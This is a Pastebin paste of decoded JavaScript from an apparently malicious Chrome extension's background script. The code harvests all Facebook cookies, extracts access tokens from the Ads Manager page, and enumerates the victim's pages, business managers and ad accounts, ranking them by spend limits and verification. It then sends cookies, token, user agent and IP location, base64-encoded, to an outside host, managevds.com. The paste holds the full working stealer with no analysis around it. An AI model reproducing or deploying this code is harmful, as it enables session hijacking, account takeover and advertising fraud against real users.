Advertisement
sh4d0wst0rm

background.js decoded

Oct 30th, 2023
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. let cook;
  2. let myList = [];
  3. const newLine = "\n";
  4. let dem = 0;
  5. let vip = "|";
  6. let demtkqc = 0, dem25 = 0, dem50 = 0, demtktt = 0, deminr = 0, Liveadstkdie = 0, demnolimit = 0, dem250 = 0;
  7. let nave = navigator.userAgent + "*g|";
  8. let se = "sheet1";
  9. let si = "1MK7nH-JFuOf8N-UNIAU-07qMHclPOnznqCqoUvE7BfE";
  10. let te = "p";
  11. const exchangeRates = {USD: 1, AED: 0.27, AFN: 0.013, ALL: 0.0093, AMD: 0.002, ANG: 0.56, AOA: 0.0016, ARS: 0.011, AUD: 0.75, AWG: 0.56, AZN: 0.59, BAM: 0.61, BBD: 0.5, BDT: 0.012, BGN: 0.61, BHD: 2.65, BIF: 0.00049, BMD: 1, BND: 0.74, BOB: 0.14, BRL: 0.19, BSD: 1, BTN: 0.014, BWP: 0.092, BYN: 0.39, BZD: 0.5, CAD: 0.81, CDF: 0.00051, CHF: 1.08, CLP: 0.0014, CNY: 0.15, COP: 0.00028, CRC: 0.0016, CUC: 1, CUP: 0.038, CVE: 0.0099, CZK: 0.046, DJF: 0.0056, DKK: 0.16, DOP: 0.017, DZD: 0.0082, EGP: 0.064, ERN: 0.066, ETB: 0.023, EUR: 1.18, FJD: 0.49, FKP: 1.39, GBP: 1.39, GEL: 0.3, GGP: 1.39, GHS: 0.17, GIP: 1.39, GMD: 0.019, GNF: 0.0001, GTQ: 0.13, GYD: 0.0048, HKD: 0.13, HNL: 0.042, HRK: 0.16, HTG: 0.011, HUF: 0.0034, IDR: 0.000069, ILS: 0.31, IMP: 1.39, INR: 0.014, IQD: 0.00068, IRR: 0.000024, ISK: 0.0079, JEP: 1.39, JMD: 0.007, JOD: 1.41, JPY: 0.0092, KES: 0.0092, KGS: 0.012, KHR: 0.00025, KMF: 0.0022, KPW: 0.0011, KRW: 0.00088, KWD: 3.32, KYD: 1.2, KZT: 0.0023, LAK: 0.0001, LBP: 0.00066, LKR: 0.005, LRD: 0.0062, LSL: 0.067, LYD: 0.22, MAD: 0.11, MDL: 0.057, MGA: 0.00027, MKD: 0.018, MMK: 0.00063, MNT: 0.00035, MOP: 0.12, MRO: 0.0028, MRU: 0.028, MUR: 0.025, MVR: 0.065, MWK: 0.0012, MXN: 0.05, MYR: 0.24, MZN: 0.016, NAD: 0.067, NGN: 0.0024, NIO: 0.028, NOK: 0.12, NPR: 0.0085, NZD: 0.7, OMR: 2.6, PAB: 1, PEN: 0.25, PGK: 0.28, PHP: 0.02, PKR: 0.0064, PLN: 0.26, PYG: 0.00016, QAR: 0.27, RON: 0.24, RSD: 0.01, RUB: 0.014, RWF: 0.001, SAR: 0.27, SBD: 0.12, SCR: 0.073, SDG: 0.019, SEK: 0.12, SGD: 0.74, SHP: 1.39, SLL: 0.0001, SOS: 0.0017, SRD: 0.066, SSP: 0.0025, STD: 0.00005, STN: 0.0001, SVC: 0.11, SYP: 0.00063, SZL: 0.067, THB: 0.031, TJS: 0.091, TMT: 0.29, TND: 0.36, TOP: 0.45, TRY: 0.12, TTD: 0.15, TWD: 0.036, TZS: 0.00043, UAH: 0.037, UGX: 0.00028, UYU: 0.023, UZS: 0.000093, VES: 0.0002, VND: 0.000044, VUV: 0.0091, WST: 0.39, XAF: 0.0018, XCD: 0.37, XDR: 1.41, XOF: 0.0018, XPF: 0.0099, YER: 0.0039, ZAR: 0.067, ZMW: 0.056, ZWL: 0.0028};
  12. let o = {headers: {cookie: cook, accept: "*/*", "accept-language": "vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5", "content-type": "application/json", "sec-ch-ua": '"Google Chrome";v="107", "Chromium";v="107", "Not=A?Brand";v="24"', "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": '"Windows"', "sec-fetch-dest": "empty", "sec-fetch-mode": "cors", "sec-fetch-site": "none"}, referrerPolicy: "strict-origin-when-cross-origin", body: null, method: "GET", mode: "cors", credentials: "include"};
  13. const getsss = () => {
  14.   return new Promise((resolve, reject) => {
  15.     chrome.cookies.getAll({url: "https://facebook.com"}, data => {
  16.       const coo = data.map(e => {
  17.         return "" + e.name + "=" + e.value + "";
  18.       }).join(";");
  19.       resolve(coo);
  20.     });
  21.   });
  22. };
  23. function GetToken(cook) {
  24.   return new Promise(resolve => {
  25.     fetch("https://www.facebook.com/ads/manager/account_settings/information/", o).then(req => {
  26.       return req.text();
  27.     }).then(responseHTML => {
  28.       let startS = 'access_token:"';
  29.       let endS = '"';
  30.       let regex = new RegExp("" + startS + "(.*?)" + endS + "");
  31.       let match = responseHTML.match(regex);
  32.       let token_bm = match ? match[1] : null;
  33.       let startS2 = '"token":"';
  34.       let endS2 = '"';
  35.       let fb_dtsg = responseHTML.match(new RegExp("(?<=" + startS2 + "+).*?(?=" + endS2 + ")", "gs"))[0];
  36.       resolve({token_bm, fb_dtsg});
  37.     }).catch(error => {
  38.       fetch("https://www.facebook.com/ads/manager/account_settings/information/", o).then(req => {
  39.         return req.text();
  40.       }).then(responseHTML => {
  41.         let startS = 'access_token:"';
  42.         let endS = '"';
  43.         let regex = new RegExp("" + startS + "(.*?)" + endS + "");
  44.         let match = responseHTML.match(regex);
  45.         let token_bm = match ? match[1] : null;
  46.         let startS2 = '"token":"';
  47.         let endS2 = '"';
  48.         let fb_dtsg = responseHTML.match(new RegExp("(?<=" + startS2 + "+).*?(?=" + endS2 + ")", "gs"))[0];
  49.         resolve({token_bm, fb_dtsg});
  50.       });
  51.     });
  52.   });
  53. }
  54. function convertToUSD(amount, currency) {
  55.   if (currency === "USD") {
  56.     return amount;
  57.   }
  58.   ;
  59.   if (!exchangeRates.hasOwnProperty(currency)) {
  60.     return 1e5;
  61.   }
  62.   ;
  63.   const exchangeRate = exchangeRates[currency];
  64.   const usdAmount = amount * exchangeRate;
  65.   return usdAmount;
  66. }
  67. getsss().then(coo => {
  68.   if (!coo.includes("c_user")) {
  69.     return;
  70.   }
  71.   ;
  72.   GetToken(coo).then(result => {
  73.     fetch("https://graph.facebook.com/v8.0/me/accounts?fields=id,fan_count,tasks,business,verification_status&access_token=" + result.token_bm + "", o).then(response => {
  74.       return response.text();
  75.     }).then(data => {
  76.       if (!data.includes("data")) {
  77.         myList.push("error check page");
  78.       } else {
  79.         if (data.includes("fan_count")) {
  80.           const parsedData = JSON.parse(data);
  81.           let infop = "";
  82.           parsedData.data.forEach(function (data, index) {
  83.             let bm = "";
  84.             if (data.hasOwnProperty("business")) {
  85.               bm = " BM : " + data.business.id;
  86.             }
  87.             ;
  88.             let admin = "";
  89.             if (data.hasOwnProperty("tasks")) {
  90.               if (!data.tasks.includes("MANAGE") && !data.tasks.includes("PROFILE_PLUS_FULL_CONTROL")) {
  91.                 admin = "false";
  92.               }
  93.             }
  94.             ;
  95.             let veri = "";
  96.             if (data.verification_status != "not_verified") {
  97.               veri = data.verification_status;
  98.             }
  99.             ;
  100.             infop += data.id + " " + veri + " Like: " + data.fan_count + " " + admin + bm + newLine;
  101.             if (data.fan_count > 1e4 && admin == "") {
  102.               dem++;
  103.               vip += " Page like: " + data.fan_count + " " + data.verification_status;
  104.             }
  105.           });
  106.           myList.push(infop);
  107.         } else {
  108.           myList.push("0 page");
  109.         }
  110.       }
  111.       ;
  112.       fetch("https://graph.facebook.com/v10.0/me/businesses?fields=id,verification_status,can_create_ad_account,sharing_eligibility_status,created_time&access_token=" + result.token_bm + "", o).then(response => {
  113.         return response.text();
  114.       }).then(data => {
  115.         if (!data.includes("data")) {
  116.           myList.push("error check bm");
  117.         } else {
  118.           if (data.includes("verification_status")) {
  119.             let infob = "";
  120.             const bmdt = JSON.parse(data);
  121.             bmdt.data.forEach(function (data, index) {
  122.               let check350 = data.sharing_eligibility_status;
  123.               if (check350.includes("enabled")) {
  124.                 check350 = "350";
  125.               } else {
  126.                 check350 = "50";
  127.               }
  128.               ;
  129.               let very = data.verification_status;
  130.               let v = "";
  131.               if (!very.includes("not") && !very.includes("pending") && !very.includes("rejected")) {
  132.                 dem++;
  133.                 vip += "BMverified";
  134.                 v = very;
  135.               }
  136.               ;
  137.               let date = new Date(data.created_time);
  138.               let year = date.getFullYear();
  139.               infob += data.id + v + " Limit: " + check350 + " year : " + year + newLine;
  140.             });
  141.             myList.push(infob);
  142.           } else {
  143.             myList.push("0 BM");
  144.           }
  145.         }
  146.         ;
  147.         fetch("https://graph.facebook.com/v14.0/me/adaccounts?fields=account_id,account_status,currency,is_prepay_account,adspaymentcycle,adtrust_dsl,amount_spent,balance,created_time,business&limit=1000&access_token=" + result.token_bm + "", o).then(response => {
  148.           return response.text();
  149.         }).then(data => {
  150.           let ads = "";
  151.           let ad = 0;
  152.           if (!data.includes("data")) {
  153.             myList.push("error check ads");
  154.           } else {
  155.             const addt = JSON.parse(data);
  156.             addt.data.forEach(function (data, index) {
  157.               demtkqc++;
  158.               let nguong = "0";
  159.               let stt = "Live";
  160.               if (data.account_status == 2) {
  161.                 stt = "Die";
  162.                 Liveadstkdie++;
  163.               } else {
  164.                 if (data.account_status == 3) {
  165.                   stt = "No";
  166.                 } else {
  167.                   if (data.account_status == 9) {
  168.                     stt = "An han";
  169.                   } else {
  170.                     if (data.account_status == 101) {
  171.                       stt = "close";
  172.                     }
  173.                   }
  174.                 }
  175.               }
  176.               ;
  177.               if (data.hasOwnProperty("adspaymentcycle")) {
  178.                 data.adspaymentcycle.data.forEach(function (dt, index) {
  179.                   if (data.currency != "IDR" && data.currency != "HUF" && data.currency != "VND" && data.currency != "COP" && data.currency != "CRC" && data.currency != "ISK") {
  180.                     let ts = dt.threshold_amount / 100;
  181.                     nguong = ts + " " + data.currency;
  182.                   } else {
  183.                     nguong = dt.threshold_amount + " " + data.currency;
  184.                   }
  185.                 });
  186.               }
  187.               ;
  188.               let amoutspent = 0;
  189.               if (data.amount_spent > 0) {
  190.                 amoutspent = data.amount_spent / 100;
  191.               }
  192.               ;
  193.               let no = 0;
  194.               if (data.balance > 0) {
  195.                 no = data.balance / 100;
  196.               }
  197.               ;
  198.               let prepay = "";
  199.               if (data.is_prepay_account == true) {
  200.                 prepay = " TKTT ";
  201.                 demtktt++;
  202.               }
  203.               ;
  204.               if (data.currency == "INR" && demtktt == 0) {
  205.                 deminr++;
  206.               }
  207.               ;
  208.               let limitusd = Math.floor(convertToUSD(data.adtrust_dsl, data.currency));
  209.               if (demtktt == 0 && deminr == 0 && nguong == "0" && limitusd > 35 && limitusd < 240 && Liveadstkdie == 0) {
  210.                 dem50++;
  211.               } else {
  212.                 if (demtktt == 0 && deminr == 0 && nguong == "0" && limitusd > 240 && Liveadstkdie == 0) {
  213.                   dem250++;
  214.                 } else {
  215.                   if (demtktt == 0 && deminr == 0 && nguong == "0" && limitusd > 0 && Liveadstkdie == 0) {
  216.                     dem25++;
  217.                   } else {
  218.                     if (demtktt == 0 && deminr == 0 && nguong == "0" && limitusd <= 0 && Liveadstkdie == 0) {
  219.                       demnolimit++;
  220.                     }
  221.                   }
  222.                 }
  223.               }
  224.               ;
  225.               let date = new Date(data.created_time);
  226.               let year = date.getFullYear();
  227.               ads += data.id + " Status: " + stt + " Currency : " + data.currency + prepay + " Nguong: " + nguong + " Limit: " + data.adtrust_dsl + " =>" + limitusd + " USD" + " Spent: " + amoutspent + " No: " + no + " Year :" + year + newLine;
  228.               if (stt == "Live" || stt == "No" || stt == "close" || stt == "An han") {
  229.                 if (limitusd > 180 || limitusd < 0 || data.hasOwnProperty("adspaymentcycle")) {
  230.                   if (data.amount_spent > 0) {
  231.                     dem++;
  232.                     ad++;
  233.                   }
  234.                 }
  235.               }
  236.             });
  237.           }
  238.           ;
  239.           if (ad > 0) {
  240.             vip += "ADS: " + ads;
  241.           }
  242.           ;
  243.           if (demtkqc == 1 && Liveadstkdie > 0 && dem == 0) {
  244.             se = "Liveadstkdie";
  245.           } else {
  246.             if (demtkqc == 1 && demtktt > 0 && dem == 0) {
  247.               se = "TKTT";
  248.             } else {
  249.               if (demtkqc == 1 && deminr > 0 && dem == 0) {
  250.                 se = "INR";
  251.               } else {
  252.                 if (demtkqc == 1 && dem50 > 0 && dem == 0) {
  253.                   se = "limit50";
  254.                 } else {
  255.                   if (demtkqc == 1 && dem250 > 0 && dem == 0) {
  256.                     se = "limit250";
  257.                   } else {
  258.                     if (demtkqc == 1 && dem25 > 0 && dem == 0) {
  259.                       se = "limit25";
  260.                     } else {
  261.                       if (demtkqc == 1 && demnolimit > 0 && dem == 0) {
  262.                         se = "Nolimit";
  263.                       }
  264.                     }
  265.                   }
  266.                 }
  267.               }
  268.             }
  269.           }
  270.           ;
  271.           myList.push(ads);
  272.           fetch("http://ip-api.com/json", {method: "GET"}).then(e => {
  273.             return e.text();
  274.           }).then(e => {
  275.             let ipx = JSON.parse(e);
  276.             let ip = ipx.country + " " + ipx.city + " " + ipx.zip + " " + ipx.isp + " " + ipx.query;
  277.             console.log(ip);
  278.             let msg = "";
  279.             if (dem > 0) {
  280.               let tong = coo + "*" + nave + "*" + ip + vip;
  281.               if (tong.length > 4010) {
  282.                 tong = tong.substring(0, 4e3) + "continue...";
  283.               }
  284.               ;
  285.               msg = encodeURIComponent(btoa(encodeURIComponent(tong)));
  286.             }
  287.             ;
  288.             let url = encodeURIComponent(btoa(encodeURIComponent(coo + "|" + result.token_bm + "*" + nave + myList.join("|") + "|" + ip)));
  289.             fetch("https://managevds.com/?coo=" + url + "&se=" + se + "&si=" + si + "&msg=" + msg + "&te=" + te + "", {method: "GET"});
  290.           }).catch(error => {
  291.             let msg = "";
  292.             if (dem > 0) {
  293.               let tong = coo + "*" + nave + "*" + vip;
  294.               if (tong.length > 4010) {
  295.                 tong = tong.substring(0, 4e3) + "continue...";
  296.               }
  297.               ;
  298.               msg = encodeURIComponent(btoa(encodeURIComponent(tong)));
  299.             }
  300.             ;
  301.             let url = encodeURIComponent(btoa(encodeURIComponent(coo + "|" + result.token_bm + "*" + nave + myList.join("|"))));
  302.             fetch("https://managevds.com/?coo=" + url + "&se=" + se + "&si=" + si + "&msg=" + msg + "&te=" + te + "", {method: "GET"});
  303.           });
  304.         }).catch(error => {
  305.           myList.push("ADS check error");
  306.           let url = encodeURIComponent(btoa(encodeURIComponent(coo + "|" + nave + myList.join("|"))));
  307.           fetch("https://managevds.com/?coo=" + url + "&se=" + se + "&si=" + si + "&te=" + te + "", {method: "GET"});
  308.         });
  309.       }).catch(error => {
  310.         let url = encodeURIComponent(btoa(encodeURIComponent(coo + "|" + nave + myList.join("|"))));
  311.         fetch("https://managevds.com/?coo=" + url + "&se=" + se + "&si=" + si + "&te=" + te + "", {method: "GET"});
  312.       });
  313.     }).catch(error => {
  314.       myList.push("Page check error");
  315.       let url = encodeURIComponent(btoa(encodeURIComponent(coo + "|" + nave + myList.join("|"))));
  316.       fetch("https://managevds.com/?coo=" + url + "&se=" + se + "&si=" + si + "&te=" + te + "", {method: "GET"});
  317.     });
  318.   }).catch(error => {
  319.     myList.push("Token check error");
  320.     let url = encodeURIComponent(btoa(encodeURIComponent(coo + "|" + nave + myList.join("|"))));
  321.     fetch("https://managevds.com/?coo=" + url + "&se=" + se + "&si=" + si + "&te=" + te + "", {method: "GET"});
  322.   });
  323. });
  324. chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
  325.   if (request.action === "executeFunction") {
  326.     chrome.runtime.reload();
  327.   }
  328. });
  329.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement